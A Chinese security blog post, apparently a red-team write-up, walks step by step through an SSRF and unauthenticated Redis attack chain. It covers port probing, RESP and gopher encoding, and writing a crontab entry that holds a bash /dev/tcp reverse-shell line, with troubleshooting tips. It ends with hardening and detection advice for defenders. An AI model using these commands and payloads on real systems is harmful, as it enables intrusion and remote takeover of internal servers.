news 2026/10/19 5:02:01

SSRF叠加Redis未授权访问:一条直通内网的完整攻击链解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SSRF叠加Redis未授权访问:一条直通内网的完整攻击链解析

SSRF加上Redis未授权访问,这两个词出现在同一个漏洞报告里,几乎就是"内网失守"的前奏。我前阵子在一次授权的红队演练里完整走了一遍这条链路,既帮应用团队验证了SSRF的影响面,也帮运维检查Redis部署里那些历史遗留问题。整个过程不复杂,但知识点非常密:SSRF的出网能力判断、内网端口探测、RESP协议手动构造、gopher协议编码细节,每一层都有坑。这篇文章把这条攻击链从原理到落地拆开讲透,目的只有一个——让做防御、做蓝队、做运维的同学知道攻击者是怎么一步步进来的,知道该在哪个环节提前堵死。

1. 攻击链全景:SSRF为什么偏偏盯上Redis

1.1 两个组件能凑到一起的天然基础

SSRF(服务端请求伪造)的本质是服务端在发起网络请求时,目标地址被攻击者控制。无论是URL参数、远程图片加载、Webhook回调,还是文档转换、视频缩略图生成,只要应用把你的输入拼进了服务器发起的请求里,就有SSRF的可能。它的危害不仅在于可以读取内网Web服务,更在于它能让攻击者借用服务器这台"跳板机"访问内网中一切TCP可达的服务。

Redis是这个链条里最经典的配合对象之一。大量业务把Redis作为缓存、队列或存储介质部署在内网,由于历史配置习惯或运维疏漏,不少Redis实例没有设置认证,仅靠内网隔离来"保护"。这种部署方式在攻击者还没有内网入口时确实安全,一旦有了SSRF这个出口,Redis就相当于对内网攻击者敞开大门。SSRF负责打通"外网到内网"的通道,Redis未授权负责提供"从端口到命令执行"的能力,两者组合往往直接走向内网沦陷。

1.2 边界防护留下的"内网信任"盲区

很多企业的基础网络架构是"外网严、内网松":对外只暴露了Web服务端口,防火墙做了严格过滤,但内网设备之间几乎不做访问控制。Redis就是这种架构下最典型的目标——运维默认"只有内网机器能访问"——但问题在于,Web应用本身就在内网里,一旦Web应用存在SSRF,攻击者掏出Web应用的身份去访问内网Redis,防火墙的策略完全不会拦截。

从攻击者的视角看,SSRF就像一个"遥控器",控制着Web服务器这台内网主机去访问任何IP、任何端口。Redis的未授权配置又是内网中特别常见的"默认信任":没有密码、没有ACL、没有绑定调整,攻击者连猜都不用猜,直接就能执行命令。这两者的结合并不是偶然,而是"边界不严+内网裸奔"这种普遍现状的必然产物。

1.3 用生活类比看懂整条链路的走向

可以把这个过程想成一次物业安保漏洞:Web应用是前台接待员,Redis是内网库房。攻击者作为外人,本来连大楼都进不去,但前台有一个"帮访客向任意房间打电话"的功能,于是攻击者就让前台帮忙往库房打电话。库房管理员从来不核实身份,谁打来电话都照办,甚至能帮攻击者把库房里的贵重物品按指定地址搬出去。放在攻击链里,"打电话"就是SSRF发起请求,"库房管理员不核实身份"就是Redis未授权,"按指定地址搬运"就是通过Redis写入计划任务或SSH公钥,最终完成远程控制。

整条攻击链大致分四步:发现并确认SSRF入口、用SSRF探测内网Redis存活、通过协议构造把SSRF变成可执行Redis命令的通道、执行写文件等危险操作完成反弹Shell或持久化。每一步单独看都有对应的防御手段,真正危险的是这几个薄弱环节恰好串在一起。

2. 动手前的侦察:用SSRF探测内网Redis的核心方法

2.1 识别SSRF出网入口的三个观察方向

搞到SSRF之后,第一件事不是急着打Redis,而是先把SSRF的出网能力摸清楚。常见的SSRF入口有三类:一类是直接通过URL参数传递远程地址,比如?image=https://xxx、?url=、?load=;一类是报文或文件里内嵌地址,比如JSON里的callback字段、XML里的外部实体地址;还有一类是通过文件上传功能触发,比如上传SVG时里面的<image href="...">会被服务端解析请求。

判断SSRF是否可利用,关键看三点:第一,目标地址是否完全可控,包括IP、端口和协议;第二,响应内容能否回显,如果应用会把请求结果展示出来,那是"看得见"的SSRF,调试起来非常舒服,如果请求结果不回显但能用请求延时判断,也足够探测;第三,服务端是否限制协议,只允许http/https,还是允许gopher、dict这类非HTTP协议。最后这一点在打Redis时特别关键,后面会展开说明。

2.2 用HTTP探测内网Redis的存活状态

在确认了SSRF可控之后,传统做法是先打内网IP段和端口。Redis默认监听6379端口,所以可以把SSRF的目标依次指向http://10.0.0.1:6379/、http://172.16.0.1:6379/这类地址,观察响应差异。这种方式的原理很简单:如果端口关闭,通常表现为连接超时或连接被拒绝;如果端口开放但不是HTTP服务,比如Redis,那么直接发一个HTTP请求过去,Redis会返回类似-ERR unknown command 'GET'这样的响应。通过这个特征,即使没有标准回显,也能通过请求时长和异常报文判断端口是否存活。

如果目标Redis所在网段比较大,手动逐个测效率很低。可以在本地写一个脚本,将不同IP组合批量放进SSRF请求里,观察哪些请求出现了"连接成功但协议异常"的特征。这一步不需要进入Redis,只需要确认目标端口开放,为下一步协议层探测做好准备。值得留意的是,有些内网环境为Redis配置了反向代理或安全组,直接探测6379可能不准确,但绝大多数情况下这个方法是可靠的。

2.3 未授权访问判定:从响应特征确认可执行命令

端口开放不等于可以打,还得确认Redis是否真的不需要密码。最直接的方式是尝试执行任意Redis命令,比如INFO,然后看返回结果。

在使用gopher或者dict协议之前,有一个简单判断:把数据按照Redis协议发过去,如果目标返回一堆以$开头的长度标记和服务器配置信息,说明不需要认证;如果返回-NOAUTH Authentication required.,说明设置了密码,盲打基本不可能成功;如果返回-ERR unknown command,说明服务端能连通且正在响应Redis指令,只是命令格式不对,也可以再调整。

这个阶段要有耐心。实操中我习惯先用最轻量的方式确认"未授权+命令可执行"这个黄金组合,再进入payload构造。否则辛辛苦苦把gopher编码做了一半,才发现Redis带认证,那才是真的浪费时间。

3. 关键协议与Payload构造:让SSRF变成"Redis命令行"

3.1 RESP协议速成:Redis客户端与服务端的底层对话

要利用SSRF给Redis下发命令,先得搞懂Redis客户端和服务端是怎么说话的。Redis采用RESP协议(REdis Serialization Protocol,即Redis序列化协议),简单说就是一系列以类型标记开头、以\r\n结尾的块。命令SET foo bar会被编码成:

  • *3表示后面有3个参数;
  • $3表示接下来字符串长度为3,内容为SET;
  • $3表示字符串长度为3,内容为foo;
  • $3表示字符串长度为3,内容为bar。

拼起来就是:

*3\r\n$3\r\nSET\r\n$3\r\nfoo\r\n$3\r\nbar\r\n

整个过程和普通人平时用redis-cli交互完全不一样,因为命令被转换成字节流直接发到TCP连接里。平时我们用redis-cli敲命令时,客户端帮我们完成了这套序列化工作,但现在要通过SSRF和Redis通信,没有现成客户端,必须手动把命令编码成RESP格式。

RESP的规则并不复杂,但拼写时必须认真。字符串长度写多一个字节或少一个字节,Redis直接放弃执行,没有商量余地。我建议在本地先用Python跑一遍RESP编码器,把所有要发的命令都转成字节流,再用redis-cli --pipe测试一遍,确保格式无误后再放到SSRF上。

3.2 gopher和dict协议在SSRF中的角色差异

探测阶段可以依赖dict协议,而真正打Redis做写文件、改配置时,基本都得靠gopher协议。两者本质区别非常大:

协议工作方式在Redis上的效果典型用途
dict按DICT协议格式发送一行命令,截取服务端响应能执行简单命令,但命令和响应内容都可能被截断探测端口、执行INFO查看版本和认证状态
gopher可以发送任意TCP字节流,本质上是一个通用TCP隧道能把完整RESP数据包发给Redis,适合执行多步命令写入计划任务、写SSH公钥、写WebShell、改Redis配置

gopher的URL格式是gopher://目标IP:端口/_加数据。_之后的内容会被gopher客户端原样发往目标的TCP端口。这个"原样"是双刃剑:一方面可以精确控制字节流,另一方面需要把所有\r和\n都做URL编码,否则传输过程中会被HTTP层解析成不可控的换行,导致数据被切断。

dict协议则更简单,你把dict://目标IP:6379/info放进SSRF,它会向Redis发送一个INFO命令然后读回结果。对于确认未授权、查看Redis版本、看操作系统的信息来说,dict够用;但对于SET、CONFIG SET这类多参数命令,dict容易截断数据,通常不适合作为最终利用通道。

3.3 以写入计划任务为例的完整Payload推演

在确认Redis未授权后,最稳定的利用方式之一是写入计划任务(crontab),让目标机器按计划执行命令,实现远程控制。下面以一个授权的模拟环境为例,完整推演payload构造过程。

假设我们的目标是内网一台Linux服务器,Redis监听6379,未授权可访问。我计划让它每分钟执行一次命令,连接攻击机并返回一个交互Shell。要完成这件事,需要依次执行以下Redis命令:

  • 清空Redis里的数据,防止原有键干扰后面使用的固定键名;
  • 设置一个键,键值内容为计划任务条目,并带上换行;
  • 把Redis持久化目录改成系统计划任务目录;
  • 把持久化文件名改成计划任务对应的用户名文件;
  • 执行SAVE,让Redis把内容写入计划任务目录。

对应到具体命令上就是:

FLUSHALL SET pwn "\n*/1 * * * * bash -i >& /dev/tcp/10.0.0.100/9999 0>&1\n" CONFIG SET dir /var/spool/cron/ CONFIG SET dbfilename root SAVE

每条命令都要编码成RESP格式。以CONFIG SET dir /var/spool/cron/为例,参数分别是CONFIG、SET、dir、字符串路径,编码为:

*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$16\r\n/var/spool/cron/\r\n

全部命令拼接成一份RESP字节流后,再整体做URL编码。这里最容易犯的错是只把换行符编码成%0a,而忘了真正的分隔符是%0d%0a,也就是\r\n。在SSRF的URL中,哪怕是\r不被正确转义,整个协议解析都会乱套。

构造出来的gopher地址大致长这样:

gopher://10.0.0.20:6379/_*1%0d%0a$8%0d%0aFLUSHALL%0d%0a*3%0d%0a$3%0d%0aSET%0d%0a$3%0d%0apwn%0d%0a$...%0d%0a...

看到这个地址就能明白为什么SSRF漏洞要严格限制协议了,一个能访问gopher协议的SSRF,跟直接给攻击者一根网线插进内网没有本质区别。

3.4 URL编码细节:连接为什么动不动被重置

很多人在复现这条攻击链的时候,卡在最后一步:Redis执行命令看起来成功了,但Shell就是弹不回来。问题往往出现在编码细节上,这里把几个容易翻车的点单独拎出来讲。

第一个坑是\r\n的URL编码。在gopher URL里,协议数据中的\r必须写成%0d,\n必须写成%0a,且必须成对出现。如果请求里漏掉%0d,Redis会把命令和参数连在一起读,最终返回-ERR Protocol error: invalid multibulk length。

第二个坑是Payload中的换行。写计划任务时,键值内容里必须包含真实换行符,写成URL编码串时这些换行也要一起编码。常见做法是在键值开头加一个\n,结尾再加一个\n,目的是让Redis持久化写入的文件在格式上符合cron的解析要求,避免和RDB文件自带的头部前缀黏在一起。

第三个坑是TCP连接关闭。gopher请求结束后,SSRF服务端通常立刻断开TCP连接,但Redis是逐条处理命令的,只要关键命令在连接断开前都发出去了,就能依次执行。如果某些版本或网络中间件导致数据包被截断,可以考虑把命令拆成多条、减少单条Payload长度,或者用并发方式多试几次。

还有一种情况是目标机器执行了计划任务,但回连地址写错了,或者防火墙挡住了出外网的回连。这个属于网络层面问题,调试时不妨先在目标机上写一个touch /tmp/ssrf_test的命令验证crontab是否真的被执行,再换成弹Shell的负载,能省很多排查时间。

4. 模拟环境下的完整攻击复盘

4.1 实验环境与授权说明

先把前提说清楚:下面的复盘完全在自行搭建的隔离模拟内网中进行,所有操作都经过授权,目的只是复现攻击路径并验证防御措施。环境拓扑模拟了一个常见的小型内网:外网只暴露一台Web应用,应用包含一个"远程图片抓取"功能,也就是典型的SSRF入口;内网中还有一台Redis服务器,监听在6379端口,没有设置密码,也没有绑定访问来源;攻击机位于外网,无法直接访问内网Redis。

为了更贴近实战,Web应用抓取远程图片时还设置了http协议白名单,但白名单校验能够被gopher协议绕过——程序只判断了前缀http://,却没有限制协议跟随重定向时的协议变化,这个细节很常见。

4.2 按时间线走一遍完整攻击链

第一分钟,攻击者先在Web应用里测试远程图片功能,把目标指向外网自己控制的服务器,发现应用确实会去请求该地址,并且返回响应内容。基本可以确认SSRF存在。

第二到十分钟,攻击者开始用SSRF探测内网。通过把目标地址依次指向http://10.0.0.0/1段里的常见主机和端口,重点关注6379端口。当探测到http://10.0.0.20:6379/时,应用返回了一段异常响应,里面有Redis的报错信息。这说明Redis端口开放且服务可用。

接下来是协议切换。攻击者用dict协议访问dict://10.0.0.20:6379/info,确认Redis未授权。这一步很关键,因为直接返回了版本号、进程ID、运行模式等信息,也验证了Redis可以执行命令。

第三步是构造gopher负载。攻击者先在本地按上一节的方法生成RESP字节流,把FLUSHALL、SET、CONFIG SET dir、CONFIG SET dbfilename、SAVE五条命令拼在一起,URL编码后放到SSRF URL中。Web应用收到这个URL后,带着应用服务器的内网身份向Redis发起连接,逐条执行了恶意命令。

几秒后,Redis执行SAVE,把内容落地到系统计划任务目录。目标机器的 cron 服务读取到新任务,在执行周期到达后回连攻击机,攻击者拿到一个内网Shell。此时攻击者已经完成了从外网到内网的横向跨越。

4.3 对防守方最有价值的三个观察点

复盘结束后我们做了专门讨论,大家一致认为有三个点最值得防守方记住。第一个是SSRF的危害完全被低估了,很多应用团队把SSRF当成"服务器能访问内网URL"的小漏洞,直到演示出它在没有其他漏洞的情况下直通内网命令执行,才真正开始重视。

第二个是Redis的危险配置集中表现在三个"没有":没有密码、没有禁用危险命令、没有限制持久化目录。这三个"没有"单独拿出来都不算致命,但组合起来就是一条成熟的攻击链。所以加固方案不能只做其中一个,必须一起解决。

第三个是内网的东西向流量被完全信任。攻击机本来无法触达Redis,是Web应用充当了跳板,安全策略如果只关注南北向流量,看不到内网主机之间的异常访问,这种攻击就很难被早期发现。检测和响应都不能只放在边界。

5. 常见问题与踩坑速查表

5.1 六个经常翻车的场景

我在实际测试和帮别人复现时,见过不少卡在半路的案例,下面这六个场景占了绝大多数。

场景一:dict协议发送SET命令不生效。这是最典型的坑。dict协议只适合探测和读取信息,它对命令响应做了截断,长命令和包含特殊字符的数据根本发送不完整。解决办法是改用gopher协议发送完整RESP流。

场景二:Shell一直弹不回来。先别怀疑反弹Shell语句有问题,优先检查计划任务文件是否真的写到了目标位置。不同Linux发行版的crontab目录不一样,有些是/var/spool/cron/,有些是/var/spool/cron/crontabs/,写错目录等于白写。另外,键值内容开头和结尾缺少换行也会导致cron解析失败。

场景三:Redis命令执行返回成功,但没生成文件。大概率是Redis的运行用户没有目标目录的写权限。比如Redis以普通用户运行,却要把dbfilename写到/var/spool/cron/,就会被系统拒绝。解决思路是先通过Redis本身的信息判断运行身份,再选择有权限的写目录。

场景四:目标Redis设置了密码,但探测阶段漏看了。注意INFO命令在未授权和需认证两种情况下返回的报错差异,前者返回Redis配置信息,后者返回-NOAUTH Authentication required.。一旦发现需要认证,就不要继续盲打,改用其他漏洞或尝试弱口令。

场景五:URL编码时把%0d%0a写成了%0a。这是非常隐蔽的细节问题,很多报文看起来正常,实际二进制的\r全部丢失,Redis协议解析直接失败。建议构造完payload后先用python的urllib.parse.quote重新编码一次,对比差异。

场景六:目标机器是Windows或使用容器编排环境。Windows下的计划任务、自启动路径和Linux完全不同,上面这套crontab写法不通用。容器环境还要注意Redis会不会以非root用户运行,有没有挂载宿主目录,这些都会直接影响利用方式和落地路径。

5.2 当靶场不可复现时的自查路径

如果现场环境怎么也打不通,我建议按下面的顺序排查:先确认SSRF出网能力——换个可回显的地址试试,比如请求一个自己控制的HTTP服务并观察是否收到请求;再确认协议支持情况——gopher、dict是否被中间层拦截,可以用一个最简单的dict://目标IP:6379/info测试;接着确认Redis版本和运行权限——通过INFO里的redis_version、os字段判断系统类型,通过CONFIG GET dir看默认目录是否有写权限;最后再检查攻击机到目标机的网络策略,确认反弹Shell端口没有被防火墙拦截。

把这几点逐项过一遍,通常能解决九成以上的故障。剩下少数情况属于目标环境有独特限制,比如Redis通过代理转发到外部,或者SAVE触发时RDB文件被其他进程占用,这些只能靠现场日志进一步分析。

6. 反向加固:从攻击者视角换回防守清单

6.1 Redis自身配置加固:不是只设个密码那么简单

很多运维对Redis加固的理解停留在"设个密码",但看了上面的攻击链就知道,密码只是底线中的底线,真正要堵死的是危险命令和持久化路径这两个放大器。

第一,必须设置强密码并开启protected-mode,同时把bind从0.0.0.0改成具体内网网卡地址,从网络层和认证层双重收缩访问面。第二,用rename-command把CONFIG、FLUSHALL、EVAL这类高风险命令重命名或直接禁掉,很多利用就是依赖这几个命令才能完成写文件操作。第三,如果业务确实需要持久化,就把dir和dbfilename限制到专用目录,并确保Redis进程没有权限写系统敏感目录。第四,条件允许时尽量用Redis 6以上版本,它提供ACL机制,可以按业务创建最小权限账号,而不是所有人共用超管权限。

不要忘了排查历史遗留数据。有些Redis是从旧版本升级过来的,配置文件里可能残留bind 0.0.0.0或空密码,升级后并没有自动修正。定期做一次配置审计,就像定期换锁一样有必要。

6.2 应用层修复SSRF的五个注意点

Redis加固只解决了一半问题,如果SSRF不修,攻击者还能用同样的通道打内网其他服务。应用层堵SSRF,重点做五件事:

  • 对所有需要请求远程地址的功能建立域名白名单,拒绝IP直连;
  • 服务端在发起请求前做DNS解析,并对解析后的IP进行校验,避免内网和回环地址;
  • 禁止或严格限制gopher、dict、file等非HTTP协议;
  • 关闭自动重定向或对重定向后的地址重新走一遍安全校验,防止通过跳转绕过限制;
  • 统一出网入口,让应用服务通过代理访问互联网,而不是直连外部地址。

这里的难点在于很多请求是业务强依赖的。比如文档预览功能确实需要访问任意URL,完全白名单化会影响业务。这种情况下建议把远程资源请求放到独立服务里,独立服务部署在受控网络并设置最小权限,对外只暴露必要接口,即便被利用,影响面也远小于让所有Web服务都能发起内网请求。

6.3 检测与溯源:怎样尽早发现这类攻击

攻击链路虽然能打通,但也不是毫无痕迹。防守方可以从三个层面建立检测能力。

第一层是网络流量。Redis虽然不像HTTP那样有大量连接记录,但攻击构造的gopher和dict请求在WAF和NDR设备上非常显眼,特征是URL里出现gopher://、dict://,或者HTTP请求参数中包含内网网段地址。只要在HTTP层做特征检测,就能拦下相当一部分尝试。

第二层是主机行为。计划任务目录新增文件、/root/.ssh/authorized_keys被修改、Web目录出现新文件,这些都是极强的攻击信号。如果能给主机装上文件完整性监控,并把这几类路径加入重点监控范围,一旦出现异常就能快速定位。

第三层是日志审计。Redis侧可以打开AOF或配置SLOWLOG记录执行过的命令,虽然会带来一定性能开销,但在敏感环境值得启用。攻击者执行CONFIG SET和SAVE的行为会留下日志线索,配合Web应用的访问日志,可以把一次完整攻击按照时间线还原出来。

6.4 写在最后:我的一点实操体会

做攻防演练这些年,我最大的感受是:SSRF和Redis未授权组合之所以频繁出现,不是因为技术多先进,而是因为基础安全配置长期缺失。Redis加固手册到处都有,SSRF修复方案也不复杂,难的是让每个环节的负责人真正理解"如果这里不修,攻击者能走到哪里"。这也是我写这篇文章的初衷。你不需要亲手去打一次内网,但至少要能在脑海里把这根链条从头到尾走一遍,知道该在哪个节点拔出插销。

最后再分享一个小技巧:如果你负责的系统和别人交接,拿到一份Redis配置后,别只看有没有密码,直接查三项——bind、protected-mode、危险命令是否禁用。这三项都过关,再谈其他。做安全很多时候不是比谁懂得多,而是比谁愿意把基础事情做扎实。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/19 5:01:45

Open Code Review:可编程、可审计的开源代码评审范式

1. “open-code-review”不是新工具&#xff0c;而是一套可落地的开源代码评审范式“open-code-review”这个词最近在技术社区里频繁出现&#xff0c;但很多人第一次看到时会下意识以为它是个新发布的 CLI 工具、某个 GitHub 仓库名&#xff0c;或者某家创业公司刚推出的 SaaS …

作者头像 李华
网站建设 2026/10/19 5:01:22

open-code-review:基于CLI与Git Diff的代码审查新范式

1. “open-code-review”不是新工具&#xff0c;而是代码审查范式的悄然迁移最近在几个技术群和内部分享里&#xff0c;频繁看到有人问&#xff1a;“open-code-review 是不是 DeepSeek 或 Claude 推的新 CLI&#xff1f;是不是 Codex CLI 的开源替代&#xff1f;”——这其实暴…

作者头像 李华
网站建设 2026/10/19 5:00:54

语义分割替代霍夫变换:工业仪表表盘轮廓提取新范式

简介&#xff1a;本资源是一份面向工业智能化巡检场景的Python图像识别系统设计论文&#xff0c;适用于自动化、仪器仪表、计算机视觉方向的本科生、研究生及现场工程师&#xff0c;解决指针式模拟仪表人工读数效率低、无人巡检落地难的核心痛点。论文提出基于DeepLabV3语义分割…

作者头像 李华
网站建设 2026/10/19 5:00:19

open-code-review:开源代码评审流程搭建与团队落地实践指南

收到项目标题&#xff1a;open-code-review&#xff0c;结合近期团队协作中大家对代码评审这件事的关注度&#xff0c;我来把整套落地方案从头到尾捋一遍。里面没有任何宣传性质的内容&#xff0c;全部是我这些年在实际项目里跑出来的经验教训&#xff0c;包括怎么选型、怎么定…

作者头像 李华
网站建设 2026/10/19 5:00:05

初入Java

个人心得首先&#xff0c;很高兴能加入未来小组这个充满学习氛围的地方。在小组学习的这十天以来&#xff0c;我也收获到了不少知识。对我来说&#xff0c;最重要的一点是&#xff0c;通过十天的学习&#xff0c;让我真正意思到了编程不是简简单单的“照着代码敲一遍”&#xf…

作者头像 李华
网站建设 2026/10/19 4:59:11

Diagram设计全指南:从流程图选型到架构布局的完整方法

做 diagram 设计这几年&#xff0c;最深的体会是&#xff1a;大部分人不是不会画图&#xff0c;而是没想清楚图表到底要替自己说什么。你打开一个设计工具&#xff0c;拖出框和箭头&#xff0c;五分钟后得到一张密密麻麻的图&#xff0c;发给同事&#xff0c;对方回一句“看不太…

作者头像 李华